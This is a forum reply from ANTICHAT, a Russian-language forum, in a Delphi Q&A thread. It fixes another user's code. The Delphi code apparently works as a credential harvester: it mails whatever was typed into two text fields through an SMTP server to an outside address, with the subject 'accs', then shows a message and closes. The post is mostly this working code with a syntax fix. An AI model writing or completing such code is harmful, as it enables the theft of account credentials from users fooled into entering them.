ANTICHAT - Показать сообщение отдельно - [Delphi]/[Pascal] Задай вопрос, получи ответ

Как нет то.. у тя вот так должно быть:

PHP код:


		
			
Procedure MySleep(Sec:Integer); 

Var I:Integer; 

Begin 

For I:=1 to Sec do 

begin 

Sleep(1000); 

Application.ProcessMessages; 

end; 

end;



procedure TForm1.Button1Click(Sender: TObject);

begin

IdSMTP1.Host:='smtp.yandex.ru';

IdSMTP1.Port:=25;

IdSMTP1.Username:='1'; //вот тут у тя ковычки не хватало!

IdSMTP1.Password:='1';

IdMessage1.Body.Text:=' '+memo1.Text+' ;'+memo3.Text;

IdMessage1.From.Text:='1@yandex.ru';

IdMessage1.Recipients.EMailAddresses:='1@mail.ru'; 

IdMessage1.Subject:='accs';

IdSMTP1.AuthenticationType := atLogin;

IdSMTP1.Connect();

if IdSMTP1.Connected=true then

IdSMTP1.Send(IdMessage1);

IdSMTP1.Disconnect;

MySleep(10); //ссылка на процедуру

ShowMessage('Текст');

Close;

end;